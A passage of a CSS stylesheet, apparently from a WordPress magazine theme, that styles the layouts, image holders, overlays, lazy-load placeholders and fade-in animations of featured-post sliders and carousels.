.featured-style-17 .wrapper-item .penci-item-4 {
	margin-bottom: 4px
}
.featured-style-17 .penci-slide-overlay .penci-mag-featured-content {
	text-align: center
}
.featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a {
	font-size: 24px
}
.featured-style-18 .wrapper-item .penci-slider17-mag-item {
	float: left;
	display: inline-block;
	width: 25%;
	position: relative
}
.featured-style-18 .wrapper-item .penci-slide17-item-2 {
	width: 50%;
	border-left: 4px solid transparent;
	border-right: 4px solid transparent
}
.featured-style-18 .penci-image-holder:before {
	padding: 0;
	height: 198px
}
.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before {
	height: 400px
}
.featured-style-18 .wrapper-item .penci-item-1,
.featured-style-18 .wrapper-item .penci-item-4 {
	margin-bottom: 4px
}
.featured-style-18 .penci-item-3 .penci-mag-featured-content {
	text-align: center
}
.featured-style-18 .penci-mag-featured-content h3 a {
	font-size: 14px
}
.featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a {
	font-size: 20px
}
.featured-style-19 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 55%;
	position: relative
}
.featured-style-19 .wrapper-item .penci-item-2,
.featured-style-19 .wrapper-item .penci-item-3 {
	width: 45%
}
.featured-style-19 .wrapper-item .penci-item-0,
.featured-style-19 .wrapper-item .penci-item-2 {
	border-left: 4px solid transparent
}
.featured-style-19 .wrapper-item .penci-item-1,
.featured-style-19 .wrapper-item .penci-item-2 {
	border-bottom: 4px solid transparent
}
.featured-style-19 .penci-image-holder:before {
	height: 275px;
	padding-top: 0
}
.featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a,
.featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a {
	font-size: 20px
}
.featured-style-20 .wrapper-item .penci-item-mag,
.featured-style-21 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 33.33333%;
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-22 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 20%;
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-20 .wrapper-item .penci-item-1,
.featured-style-20 .wrapper-item .penci-item-2,
.featured-style-22 .wrapper-item .penci-item-1,
.featured-style-22 .wrapper-item .penci-item-2 {
	width: 50%;
	border-bottom: 4px solid transparent
}
.featured-style-20 .penci-item-1 .penci-mag-featured-content h3 a,
.featured-style-20 .penci-item-2 .penci-mag-featured-content h3 a,
.featured-style-21 .penci-item-0 .penci-mag-featured-content h3 a,
.featured-style-21 .penci-item-4 .penci-mag-featured-content h3 a,
.featured-style-22 .penci-item-1 .penci-mag-featured-content h3 a,
.featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a,
.featured-style-23 .penci-item-1 .penci-mag-featured-content h3 a,
.featured-style-23 .penci-item-2 .penci-mag-featured-content h3 a {
	font-size: 20px
}
.featured-style-20 .penci-image-holder:before,
.featured-style-21 .penci-image-holder:before {
	padding-top: 60%
}
.featured-style-20 .penci-mag-featured-content,
.featured-style-21 .penci-mag-featured-content {
	text-align: center
}
.featured-style-22 .penci-image-holder:before {
	padding-top: 66.6667%
}
.featured-style-21 .wrapper-item .penci-item-0,
.featured-style-21 .wrapper-item .penci-item-4 {
	border-top: 4px solid transparent;
	width: 50%
}
.featured-style-22 .penci-item-1 .penci-mag-featured-content,
.featured-style-22 .penci-item-2 .penci-mag-featured-content,
.featured-style-23 .penci-item-1 .penci-mag-featured-content,
.featured-style-23 .penci-item-2 .penci-mag-featured-content {
	text-align: center
}
.featured-style-22 .penci-item-0 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-22 .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-22 .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-22 .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-22 .penci-item-6 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-23 .penci-item-0 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-23 .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-23 .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,
.featured-style-23 .penci-item-5 .penci-slide-overlay .penci-mag-featured-content {
	bottom: 12px;
	left: 0;
	width: 100%;
	padding: 0 15px;
	text-align: center
}
.featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a,
.featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a,
.featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a,
.featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a,
.featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a,
.featured-style-23 .penci-item-0 .penci-mag-featured-content h3 a,
.featured-style-23 .penci-item-3 .penci-mag-featured-content h3 a,
.featured-style-23 .penci-item-4 .penci-mag-featured-content h3 a,
.featured-style-23 .penci-item-5 .penci-mag-featured-content h3 a {
	font-size: 14px;
	text-transform: none;
	letter-spacing: 0
}
.featured-style-23 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 25%;
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-23 .wrapper-item .penci-item-1,
.featured-style-23 .wrapper-item .penci-item-2 {
	width: 50%;
	border-bottom: 4px solid transparent
}
.featured-style-23 .penci-image-holder:before {
	padding-top: 66.6667%
}
.featured-style-23 .penci-item-1 .penci-image-holder:before,
.featured-style-23 .penci-item-2 .penci-image-holder:before {
	padding-top: 60%
}
.featured-style-24 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 25%;
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-24 .wrapper-item .penci-item-1,
.featured-style-24 .wrapper-item .penci-item-2 {
	width: 50%;
	border-bottom: 4px solid transparent
}
.featured-style-24 .wrapper-item .penci-item-2 {
	border-bottom: 4px solid transparent
}
.featured-style-24 .penci-image-holder:before {
	padding: 0;
	height: 192px
}
.featured-style-24 .penci-item-1 .penci-image-holder:before {
	height: 456px
}
.featured-style-24 .penci-item-2 .penci-image-holder:before {
	height: 260px
}
.featured-style-24 .penci-item-0 .penci-mag-featured-content h3 a,
.featured-style-24 .penci-item-3 .penci-mag-featured-content h3 a {
	font-size: 14px;
	letter-spacing: 0
}
.featured-style-24 .penci-item-2 .penci-mag-featured-content h3 a {
	font-size: 20px
}
.featured-style-24 .penci-item-1 .penci-mag-featured-content h3 a {
	font-size: 22px
}
.featured-style-25 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 33.33333%;
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-25 .wrapper-item .penci-item-1 {
	width: 66.66666%
}
.featured-style-25 .wrapper-item .penci-item-2,
.featured-style-25 .wrapper-item .penci-item-3 {
	border-bottom: 4px solid transparent
}
.featured-style-25 .penci-image-holder:before {
	padding: 0;
	height: 170px
}
.featured-style-25 .penci-item-1 .penci-image-holder:before {
	height: 518px
}
.featured-style-25 .penci-item-1 .penci-mag-featured-content h3 a {
	font-size: 24px
}
.featured-style-26 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 25%;
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-26 .wrapper-item .penci-item-1 {
	width: 50%
}
.featured-style-26 .wrapper-item .penci-item-2,
.featured-style-26 .wrapper-item .penci-item-3 {
	border-bottom: 4px solid transparent
}
.featured-style-26 .penci-image-holder:before {
	padding: 0;
	height: 238px
}
.featured-style-26 .penci-item-1 .penci-image-holder:before {
	height: 480px
}
.featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a {
	font-size: 22px
}
.featured-style-26 .penci-item-0 .penci-mag-featured-content h3 a,
.featured-style-26 .penci-item-2 .penci-mag-featured-content h3 a,
.featured-style-26 .penci-item-3 .penci-mag-featured-content h3 a,
.featured-style-26 .penci-item-4 .penci-mag-featured-content h3 a {
	text-transform: none;
	letter-spacing: 0
}
.featured-style-27 .wrapper-item .penci-item-mag {
	float: left;
	display: inline-block;
	width: 33.33333%;
	position: relative;
	border-left: 2px solid transparent;
	border-right: 2px solid transparent
}
.featured-style-27 .wrapper-item .penci-item-1 {
	width: 66.66666%
}
.featured-style-27 .wrapper-item .penci-item-1,
.featured-style-27 .wrapper-item .penci-item-2 {
	border-bottom: 4px solid transparent
}
.featured-style-27 .penci-image-holder:before {
	padding: 0;
	height: 260px
}
.featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a {
	font-size: 22px
}
.featured-style-28 .wrapper-item {
	padding-left: 2px;
	padding-right: 2px
}
.featured-style-28 .wrapper-item .penci-item-mag {
	width: 300px
}
.featured-style-28 .penci-image-holder:before {
	padding-top: 66.6667%
}
.featured-style-28 .wrapper-item .penci-item-1 {
	width: 606px
}
.featured-style-28 .penci-slide-overlay .penci-mag-featured-content {
	opacity: 1
}
.featured-style-28 .wrapper-item .penci-item-2,
.featured-style-28 .wrapper-item .penci-item-4,
.featured-style-28 .wrapper-item .penci-item-6 {
	border-bottom: 4px solid transparent
}
.featured-style-28 .penci-item-0 .penci-mag-featured-content h3 a,
.featured-style-28 .penci-item-2 .penci-mag-featured-content h3 a,
.featured-style-28 .penci-item-3 .penci-mag-featured-content h3 a,
.featured-style-28 .penci-item-4 .penci-mag-featured-content h3 a,
.featured-style-28 .penci-item-5 .penci-mag-featured-content h3 a,
.featured-style-28 .penci-item-6 .penci-mag-featured-content h3 a {
	text-transform: none;
	letter-spacing: 0
}
.featured-style-28 .penci-item-1 .penci-mag-featured-content h3 a {
	font-size: 22px
}
.overlay-icon-format {
	position: absolute;
	text-align: center;
	display: inline-block;
	width: 36px;
	height: 36px;
	line-height: 32px;
	top: 50%;
	left: 50%;
	margin: -18px 0 0 -18px;
	font-size: 14px;
	opacity: 0;
	color: rgba(255, 255, 255, .9);
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	border: 2px solid rgba(255, 255, 255, .9);
	transform: scale(.5);
	-webkit-transform: scale(.5);
	-moz-transform: scale(.5);
	z-index: 3;
	background: rgba(0, 0, 0, .3)
}
.overlay-icon-format.lager-size-icon {
	width: 42px;
	height: 42px;
	line-height: 38px;
	margin: -21px 0 0 -21px;
	font-size: 16px
}
.penci-item-mag:hover .overlay-icon-format {
	opacity: 1;
	transform: scale(1);
	-webkit-transform: scale(1);
	-moz-transform: scale(1)
}
.overlay-icon-format i.fa-music {
	margin-right: 3px
}
.overlay-icon-format i.fa-play {
	margin-left: 2px
}
.featured-style-17 .penci-item-0 .overlay-icon-format,
.featured-style-17 .penci-item-1 .overlay-icon-format,
.featured-style-17 .penci-item-2 .overlay-icon-format,
.featured-style-17 .penci-item-4 .overlay-icon-format,
.featured-style-18 .penci-item-0 .overlay-icon-format,
.featured-style-18 .penci-item-1 .overlay-icon-format,
.featured-style-18 .penci-item-2 .overlay-icon-format,
.featured-style-18 .penci-item-4 .overlay-icon-format,
.featured-style-19 .penci-item-mag .overlay-icon-format,
.featured-style-20 .penci-item-0 .overlay-icon-format,
.featured-style-20 .penci-item-3 .overlay-icon-format,
.featured-style-20 .penci-item-4 .overlay-icon-format,
.featured-style-21 .penci-item-1 .overlay-icon-format,
.featured-style-21 .penci-item-2 .overlay-icon-format,
.featured-style-21 .penci-item-3 .overlay-icon-format,
.featured-style-22 .penci-item-0 .overlay-icon-format,
.featured-style-22 .penci-item-3 .overlay-icon-format,
.featured-style-22 .penci-item-4 .overlay-icon-format,
.featured-style-22 .penci-item-5 .overlay-icon-format,
.featured-style-22 .penci-item-6 .overlay-icon-format,
.featured-style-23 .penci-item-0 .overlay-icon-format,
.featured-style-23 .penci-item-3 .overlay-icon-format,
.featured-style-23 .penci-item-4 .overlay-icon-format,
.featured-style-23 .penci-item-5 .overlay-icon-format,
.featured-style-24 .penci-item-0 .overlay-icon-format,
.featured-style-24 .penci-item-2 .overlay-icon-format,
.featured-style-24 .penci-item-3 .overlay-icon-format,
.featured-style-25 .penci-item-0 .overlay-icon-format,
.featured-style-25 .penci-item-2 .overlay-icon-format,
.featured-style-25 .penci-item-3 .overlay-icon-format,
.featured-style-26 .penci-item-0 .overlay-icon-format,
.featured-style-26 .penci-item-2 .overlay-icon-format,
.featured-style-26 .penci-item-3 .overlay-icon-format,
.featured-style-26 .penci-item-4 .overlay-icon-format,
.featured-style-27 .penci-item-mag .overlay-icon-format,
.featured-style-6 .penci-item-0 .overlay-icon-format,
.featured-style-6 .penci-item-2 .overlay-icon-format {
	top: 20px;
	left: auto;
	right: 20px;
	margin: 0
}
.featured-style-29 .penci-image-holder:before {
	height: 550px;
	padding: 0
}
.featured-style-35 .penci-image-holder:before {
	height: 600px;
	padding: 0
}
.featured-style-29 .featured-slider-overlay {
	position: absolute;
	background: #000;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	opacity: .3;
	z-index: 1
}
.featured-style-29 .penci-featured-content {
	z-index: 5
}
.featured-style-29 .penci-featured-content .feat-text {
	width: 100%;
	max-width: var(--pcctain);
	margin: 0 auto;
	padding: 0
}
.featured-style-29 .penci-featured-content .feat-text h3 {
	position: relative;
	padding-bottom: 15px
}
.featured-style-29 .penci-featured-content .feat-text h3:before {
	width: 60px;
	height: 0;
	border-top: 1px solid #fff;
	left: 50%;
	margin-left: -30px;
	bottom: 0;
	content: "";
	position: absolute
}
.featured-style-29 .penci-featured-content .feat-text h3 a {
	font-size: 28px
}
.featured-style-29 .penci-featured-slider-button,
.featured-style-38 .penci-featured-slider-button,
.featured-style-39 .penci-featured-slider-button,
.featured-style-40 .penci-featured-slider-button,
.featured-style-41 .penci-featured-slider-button,
.featured-style-42 .penci-featured-slider-button,
.featured-style-44 .penci-featured-slider-button {
	margin-top: 20px;
	animation-delay: 1s;
	-webkit-animation-delay: 1s;
	-webkit-animation-duration: .7s;
	-moz-animation-duration: .7s;
	-ms-animation-duration: .7s;
	-o-animation-duration: .7s;
	animation-duration: .7s;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both
}
.featured-style-29 .penci-featured-slider-button a,
.featured-style-35 .penci-featured-slider-button a,
.featured-style-38 .penci-featured-slider-button a,
.featured-style-39 .penci-featured-slider-button a,
.featured-style-40 .penci-featured-slider-button a,
.featured-style-41 .penci-featured-slider-button a,
.featured-style-42 .penci-featured-slider-button a,
.featured-style-44 .penci-featured-slider-button a {
	height: 36px;
	line-height: 34px;
	padding: 0 15px;
	border: 1px solid #fff;
	color: #fff;
	font-family: var(--pchead-font);
	font-size: 12px;
	text-transform: uppercase;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	display: inline-block;
	vertical-align: top;
	font-weight: var(--pchead-wei);
	text-decoration: none !important
}
.featured-style-29 .penci-featured-slider-button a:hover,
.featured-style-35 .penci-featured-slider-button a:hover,
.featured-style-38 .penci-featured-slider-button a:hover,
.featured-style-39 .penci-featured-slider-button a:hover,
.featured-style-40 .penci-featured-slider-button a:hover,
.featured-style-41 .penci-featured-slider-button a:hover,
.featured-style-42 .penci-featured-slider-button a:hover,
.featured-style-44 .penci-featured-slider-button a:hover {
	background: #fff;
	color: #010101;
	text-decoration: none
}
.featured-style-29 .penci-featured-content .feat-text .featured-cat a {
	font-size: 14px
}
.featured-style-29 .penci-featured-content .feat-text {
	opacity: 1;
	animation-delay: 0s;
	-webkit-animation-delay: 0s
}
.featured-style-29 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text {
	-webkit-animation-name: none;
	-moz-animation-name: none;
	-o-animation-name: none;
	animation-name: none
}
.featured-style-29 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .feat-text h3,
.featured-style-29 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content .featured-cat,
.featured-style-29 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-slider-button {
	-webkit-animation-name: pencifadeInUp;
	-moz-animation-name: pencifadeInUp;
	-o-animation-name: pencifadeInUp;
	animation-name: pencifadeInUp
}
.penci-featured-content-right {
	position: absolute;
	right: 0;
	width: 450px;
	top: 0;
	bottom: 0;
	height: 100%;
	display: block;
	padding-top: 20px;
	padding-bottom: 20px
}
.penci-featured-content-right:before {
	background: #000;
	opacity: 0;
	content: "";
	position: absolute;
	left: 0;
	bottom: 0;
	right: 0;
	top: 0;
	width: 100%;
	height: 100%;
	display: block;
	z-index: 1;
	animation-delay: var(--pcfs-delay);
	-webkit-animation-delay: var(--pcfs-delay);
	-webkit-animation-duration: .6s;
	-moz-animation-duration: .6s;
	-ms-animation-duration: .6s;
	-o-animation-duration: .6s;
	animation-duration: .6s;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both
}
.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-content-right:before {
	-webkit-animation-name: pencifadeInUpDiv;
	-moz-animation-name: pencifadeInUpDiv;
	-o-animation-name: pencifadeInUpDiv;
	animation-name: pencifadeInUpDiv
}
@-webkit-keyframes pencifadeInUpDiv {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 450px, 0);
		transform: translate3d(0, 450px, 0)
	}
	100% {
		opacity: .7;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInUpDiv {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, 450px, 0);
		transform: translate3d(0, 450px, 0)
	}
	100% {
		opacity: .7;
		-webkit-transform: none;
		transform: none
	}
}
.feat-text-right {
	position: absolute;
	display: block;
	top: 50%;
	width: 100%;
	-webkit-transform: translateY(-50%);
	-ms-transform: translateY(-50%);
	transform: translateY(-50%);
	z-index: 3;
	left: 0;
	padding-left: 20px;
	padding-right: 20px
}
.featured-style-35 .penci-featured-content-right {
	z-index: 5
}
.featured-style-35 .feat-text-right h3 a {
	font-size: 28px;
	color: #fff;
	text-transform: uppercase;
	text-decoration: none
}
.featured-style-35 .featured-cat {
	margin-bottom: 5px
}
.featured-style-35 .cat>a.penci-cat-name {
	color: #fff
}
.featured-style-35 .featured-content-excerpt {
	margin-top: 7px
}
.featured-content-excerpt .sd-sharing-enabled {
	display: none
}
.featured-style-35 .featured-content-excerpt p {
	color: #fff;
	line-height: 1.6;
	opacity: .85;
	margin-top: 10px;
	font-size: 14px
}
.featured-style-35 .penci-featured-slider-button {
	margin-top: 25px
}
.featured-style-35 .feat-text-right h3,
.featured-style-35 .featured-cat,
.featured-style-35 .featured-content-excerpt,
.featured-style-35 .penci-featured-slider-button,
.featured-style-37 .penci-item-1 .feat-meta,
.featured-style-37 .penci-item-1 .feat-text h3,
.featured-style-37 .penci-item-1 .featured-cat {
	-webkit-animation-duration: .5s;
	-moz-animation-duration: .5s;
	-ms-animation-duration: .5s;
	-o-animation-duration: .5s;
	animation-duration: .5s;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both
}
.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .feat-text-right h3,
.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .featured-cat,
.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .featured-content-excerpt,
.featured-style-35 .penci-owl-carousel.penci-owl-loaded .active .penci-featured-slider-button,
.featured-style-37 .penci-owl-carousel.penci-owl-loaded .active .feat-text .feat-meta,
.featured-style-37 .penci-owl-carousel.penci-owl-loaded .active .feat-text h3,
.featured-style-37 .penci-owl-carousel.penci-owl-loaded .active .featured-cat {
	-webkit-animation-name: pencifadeInUpSmall;
	-moz-animation-name: pencifadeInUpSmall;
	-o-animation-name: pencifadeInUpSmall;
	animation-name: pencifadeInUpSmall
}
.feat-text-right>:nth-child(1) {
	animation-delay: calc(var(--pcfs-delay) + .4s)
}
.feat-text-right>:nth-child(2) {
	animation-delay: calc(var(--pcfs-delay) + .6s)
}
.feat-text-right>:nth-child(3) {
	animation-delay: calc(var(--pcfs-delay) + .8s)
}
.feat-text-right>:nth-child(4) {
	animation-delay: calc(var(--pcfs-delay) + 1s)
}
.feat-text-right>:nth-child(5) {
	animation-delay: calc(var(--pcfs-delay) + 1.2s)
}
.featured-style-35 .featured-content-excerpt .feat-meta span {
	color: #fff;
	font-size: 13px
}
.featured-style-35 .featured-content-excerpt .feat-meta>span:after {
	content: "";
	display: inline-block;
	margin: 0 8px 0 12px;
	width: 0;
	height: 10px;
	border-left: 1px solid;
	opacity: .35;
	color: inherit
}
.featured-style-35 .featured-content-excerpt .feat-meta>span:last-child:after {
	content: none
}
.featured-style-35 .featured-content-excerpt .feat-meta span a {
	color: #fff;
	font-size: inherit;
	text-decoration: none !important
}
.featured-style-35.style-36 .penci-image-holder:before {
	height: 550px;
	padding: 0
}
.featured-style-35.style-36 .penci-featured-content-right {
	width: 420px
}
.featured-style-37 .penci-featured-items-right>.item:first-child {
	margin-bottom: 11px
}
.featured-style-37 .penci-slide-overlay .penci-mag-featured-content {
	opacity: 1;
	text-align: center
}
.featured-style-37 .penci-owl-carousel .penci-owl-dots {
	bottom: 11px
}
.featured-style-37 .penci-item-1 .penci-slide-overlay .penci-mag-featured-content {
	bottom: 46px
}
.featured-style-37 .penci-owl-carousel[data-dots=false] .penci-item-1 .penci-slide-overlay .penci-mag-featured-content {
	bottom: 16px
}
.featured-style-37 .penci-item-1 .feat-meta,
.featured-style-37 .penci-item-1 .feat-text h3,
.featured-style-37 .penci-item-1 .featured-cat {
	opacity: 0
}
.featured-style-38 .penci-owl-carousel .item {
	width: 450px;
	width: 25vw
}
.featured-style-38 .penci-image-holder:before {
	padding-top: 120%
}
.penci-slider38-overlay {
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	width: 100%;
	height: 100%;
	background: #000;
	opacity: .4;
	z-index: 1;
	transition: opacity .3s;
	-webkit-transition: opacity .3s
}
.featured-style-38 .item:hover .penci-slider38-overlay {
	opacity: .7
}
.featured-style-38 .penci-featured-content {
	z-index: 5
}
.featured-style-38 .penci-featured-slider-button {
	margin-top: 24px
}
.featured-slider-excerpt {
	margin-top: 7px
}
.featured-slider-excerpt p {
	color: #fff;
	line-height: 1.6
}
.featured-style-38 .penci-featured-content .feat-text,
.featured-style-38 .penci-owl-carousel .feat-text .feat-meta,
.featured-style-38 .penci-owl-carousel .feat-text .featured-cat,
.featured-style-38 .penci-owl-carousel .feat-text h3 {
	-webkit-animation-delay: 0 !important;
	-moz-animation-delay: 0 !important;
	-o-animation-delay: 0 !important;
	animation-delay: 0 !important;
	-webkit-animation-name: none !important;
	-moz-animation-name: none !important;
	-o-animation-name: none !important;
	animation-name: none !important;
	opacity: 1 !important
}
.post-entry .penci-featured-content .feat-text .feat-meta,
.post-entry .penci-featured-content .feat-text .featured-cat,
.post-entry .penci-mag-featured-content .cat,
.post-entry .penci-mag-featured-content .feat-meta,
.post-entry .penci-widget-slide-detail .slide-item-date {
	line-height: 1
}
.post-entry .featured-style-35 .feat-text-right h3,
.post-entry .penci-featured-content .feat-text h3,
.post-entry .penci-mag-featured-content h3,
.post-entry .penci-owl-featured-area .feat-text h3,
.post-entry .penci-widget-slider h4 {
	margin-bottom: 0
}
.post-entry .penci-widget-slider h4 a:hover {
	text-decoration: none
}
.penci-image-holder {
	position: relative;
	width: 100%;
	background: #f5f5f5;
	display: inline-block;
	vertical-align: top;
	background-repeat: no-repeat;
	background-position: center center;
	background-size: cover;
	-webkit-background-size: cover;
	-moz-background-size: cover;
	-o-background-size: cover;
	overflow: hidden
}
.swiper-slide .penci-image-holder,
.swiper-slide a.penci-image-holder {
	display: block
}
.penci-image-holder:before {
	display: block;
	content: "";
	width: 100%;
	padding-top: 66.6667%;
	background: 0 0 !important;
	box-shadow: none !important
}
.penci-image-holder.penci-list-nocrop-thumb:before {
	content: none;
	padding-top: 0
}
.owl-lazy[src*="20xmlns='http://www.w3.org/2000/svg'"],
.penci-holder-load:not([style*=background-image]),
.penci-image-holder:not([style*=background-image]),
.penci-lazy:not(.lazyloaded),.penci-lazy[src*="20xmlns='http://www.w3.org/2000/svg'"],.penci-lazy[src*=penci-holder] {
	background-image: linear-gradient(to left, #f5f5f5 0, #efefef 15%, #f5f5f5 40%, #f5f5f5 100%);
	background-repeat: no-repeat !important;
	background-color: #f5f5f5;
	background-size: 900px 1700px !important;
	animation: pencipreload .6s infinite linear forwards;
	-webkit-animation: pencipreload .6s infinite linear forwards
}
.penci-image-holder img {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	width: 100% !important;
	height: 100% !important;
	object-fit: cover
}
.penci-lazy[src*=penci-holder] {
	width: 100%;
	height: auto
}
.holder-square.penci-lazy[src*=penci-holder] {
	height: 0;
	padding-bottom: 100%
}
.about-widget img.penci-lazy[src*=penci-holder] {
	opacity: 0
}
.instagram-square-lazy.penci-lazy[src*=penci-holder] {
	height: 0 !important;
	padding-bottom: 100% !important
}
.footer-widget-wrapper .thumbnails.no-border .instagram-square-lazy.penci-lazy[src*=penci-holder],
.penci-sidebar-content .thumbnails.no-border .instagram-square-lazy.penci-lazy[src*=penci-holder] {
	margin: 5px !important;
	width: calc(100% - 10px) !important
}
@-webkit-keyframes pencipreload {
	from {
		background-position: -800px 0
	}
	to {
		background-position: 100px 0
	}
}
@keyframes pencipreload {
	from {
		background-position: -800px 0
	}
	to {
		background-position: 100px 0
	}
}
.penci-image-holder.small-fix-size {
	width: 120px
}
.penci-image-holder.square-fix-size:before {
	padding-top: 100%
}
.penci-image-holder.rectangle-fix-size:before {
	padding-top: 128%
}
.penci-image-holder.slider-style-1-fix {
	height: 600px
}
.penci-image-holder.slider-style-2-fix {
	width: 900px
}
.penci-image-holder.slider-style-2-fix:before {
	padding-top: 56.7%
}
.penci-image-holder.slider-style-7-fix:before {
	padding-top: 56.6667%
}
.penci-image-holder.slider-style-3-fix {
	height: 560px
}
.featured-style-31 .penci-image-holder:before,
.featured-style-32 .penci-image-holder:before {
	content: none
}
.pencislider-item .penci-image-holder {
	position: relative
}
.pencislider-item .penci-image-holder a {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	display: block;
	z-index: 1
}
.pencislider-container {
	position: absolute;
	display: block;
	top: 50%;
	width: 100%;
	-webkit-transform: translateY(-50%);
	-ms-transform: translateY(-50%);
	transform: translateY(-50%);
	padding: 0 40px;
	z-index: 5
}
.pencislider-container .pencislider-content {
	display: block;
	margin: 0 auto;
	max-width: var(--pcctain)
}
.pencislider-container .pencislider-content .pencislider-title {
	font-family: var(--pchead-font);
	font-size: 30px;
	line-height: 1.2em;
	text-transform: uppercase;
	margin: 0;
	font-weight: var(--pchead-wei)
}
.pencislider-container .pencislider-content .pencislider-title a {
	color: inherit;
	font-size: inherit
}
.pencislider-container .pencislider-content .pencislider-title span {
	display: inline-block;
	vertical-align: top;
	padding: 5px 12px;
	color: inherit;
	font-size: inherit;
	background-color: rgba(0, 0, 0, .4)
}
.pencislider-container .pencislider-content .pencislider-caption {
	font-size: 16px;
	line-height: 1.3em;
	margin: 15px 0 0
}
.pencislider-container .pencislider-content .pencislider-caption span {
	display: inline-block;
	vertical-align: top;
	padding: 5px 12px;
	color: inherit;
	font-size: inherit;
	background-color: rgba(0, 0, 0, .4)
}
.pencislider-container .pencislider-content .penci-button {
	margin: 25px 0 0;
	background: 0 0;
	padding: 0;
	vertical-align: top;
	max-width: 100%
}
.pencislider-container .pencislider-content .pencislider-button {
	text-decoration: none;
	display: inline-block;
	padding: 11px 20px 11px;
	text-transform: uppercase;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s;
	font-family: var(--pchead-font);
	cursor: pointer;
	font-size: 14px;
	line-height: 1.3;
	border: none;
	position: relative;
	font-weight: var(--pchead-wei)
}
.pencislider-container .pencislider-content .pencislider-button:hover {
	opacity: .9
}
.pencislider-container .pencislider-caption,
.pencislider-container .pencislider-content .penci-button,
.pencislider-container .pencislider-title {
	text-align: left;
	opacity: 0;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: 1s;
	-moz-animation-duration: 1s;
	-ms-animation-duration: 1s;
	-o-animation-duration: 1s;
	animation-duration: 1s
}
.pencislider-container.align-center .penci-button,
.pencislider-container.align-center .pencislider-caption,
.pencislider-container.align-center .pencislider-title {
	text-align: center
}
.pencislider-container.align-right .penci-button,
.pencislider-container.align-right .pencislider-caption,
.pencislider-container.align-right .pencislider-title {
	text-align: right
}
.pencislider-container .pencislider-content>:nth-child(1) {
	animation-delay: var(--pcfs-delay)
}
.pencislider-container .pencislider-content>:nth-child(2) {
	animation-delay: calc(var(--pcfs-delay) + .2s)
}
.pencislider-container .pencislider-content>:nth-child(3) {
	animation-delay: calc(var(--pcfs-delay) + .4s)
}
@-webkit-keyframes pencifadeInDown {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, -40px, 0);
		transform: translate3d(0, -40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
@keyframes pencifadeInDown {
	0% {
		opacity: 0;
		-webkit-transform: translate3d(0, -40px, 0);
		transform: translate3d(0, -40px, 0)
	}
	100% {
		opacity: 1;
		-webkit-transform: none;
		transform: none
	}
}
.featured-area .active .pencislider-container.penci-fadeInDown .pencislider-caption,
.featured-area .active .pencislider-container.penci-fadeInDown .pencislider-content .penci-button,
